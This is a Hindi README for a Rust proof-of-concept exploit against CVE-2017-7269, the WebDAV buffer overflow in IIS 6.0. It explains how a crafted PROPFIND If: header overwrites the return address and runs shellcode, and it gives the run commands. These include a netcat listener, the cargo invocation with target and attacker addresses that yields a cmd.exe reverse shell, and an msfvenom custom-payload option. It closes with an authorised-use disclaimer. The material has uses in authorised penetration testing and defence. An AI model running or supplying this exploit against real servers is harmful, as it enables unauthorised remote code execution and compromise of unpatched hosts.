
CVE-2017-7269 के लिए POC का एक Rust कार्यान्वयन, जो Microsoft Internet Information Services (IIS) 6.0 में WebDAV सेवा को लक्षित करता है।
CVE-2017-7269 के POC का एक Rust कार्यान्वयन, जो Microsoft Internet Information Services (IIS) 6.0 में WebDAV सेवा को लक्षित करता है।
CVE-2017-7269 Microsoft IIS 6.0 के WebDAV सेवा में पाया जाने वाला एक गंभीर स्टैक-आधारित बफर ओवरफ़्लो है, जो Windows Server 2003 R2 के साथ शिप किया गया था। एक सफल शोषण अनधिकृत हमलावर को लक्ष्य सर्वर पर दूरस्थ कोड निष्पादन प्राप्त करने की अनुमति देता है।
httpext.dll (IIS WebDAV एक्सटेंशन)ScStoragePathFromUrlPROPFIND HTTP अनुरोध।If: हेडर जिसमें कई URLs हैं।यह कमजोरी एक क्लासिक स्टैक बफर ओवरफ़्लो है। यह तब ट्रिगर होता है जब ScStoragePathFromUrl फंक्शन एक दुर्भावनापूर्ण If: हेडर वाले PROPFIND अनुरोध को प्रोसेस करता है।
यह शोषण बाइट्स की एक लंबी स्ट्रिंग के साथ ऐसे हेडर को तैयार करता है, जो स्टैक पर आवंटित बफर को ओवरफ़्लो कर देता है। यह ओवरफ़्लो महत्वपूर्ण स्टैक डेटा को ओवरराइट करता है, जिसमें सहेजा गया रिटर्न पता (EIP) भी शामिल है। शोषण इस रिटर्न पते को दुर्भावनापूर्ण हेडर के भीतर स्थित एक छोटे प्रारंभिक शेलकोड पेलोड की ओर इंगित करके प्रोग्राम के निष्पादन प्रवाह को हाईजैक कर लेता है। इस पहले-चरण के शेलकोड का काम मुख्य पेलोड, एक रिवर्स शेल को ढूंढना और निष्पादित करना है, जो उसी HTTP अनुरोध के बॉडी में भेजा जाता है। यह POC एक cmd.exe शेल को हमलावर-नियंत्रित लिसनर से जोड़कर दूरस्थ कोड निष्पादन का सफलतापूर्वक प्रदर्शन करता है।
एक लिसनर तैयार करें (पोर्ट को --lport से मिलाने के लिए समायोजित करें):
nc -lvnp <attacker-port>
एम्बेडेड शेलकोड के साथ शोषण चलाएं:
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
यह उपकरण LHOST/LPORT का उपयोग करके WSA शेलकोड को फ्लाई पर पैच करता है और इसे HTTP बॉडी में वितरित करता है। जब लक्ष्य कमजोर होता है, तो आपका लिसनर cmd.exe से एक रिवर्स शेल प्राप्त करेगा।
--payload)एक रॉ पेलोड तैयार करें
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
पेलोड वितरित करें (--lhost/--lport की आवश्यकता नहीं है क्योंकि शेलकोड में वह जानकारी पहले से एनकोड होती है):
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
कॉलबैक को पहले जैसे लिसनर में हैंडल करें। चूंकि बाइनरी दिए गए बाइट्स को सीधे स्ट्रीम करती है, सटीक व्यवहार आपके द्वारा उत्पन्न पेलोड पर निर्भर करता है।
यह उपकरण केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए है। जिम्मेदारी से उपयोग करें और केवल उन सिस्टमों पर जिनके आप मालिक हैं या जिनके लिए आपके पास स्पष्ट अनुमति है।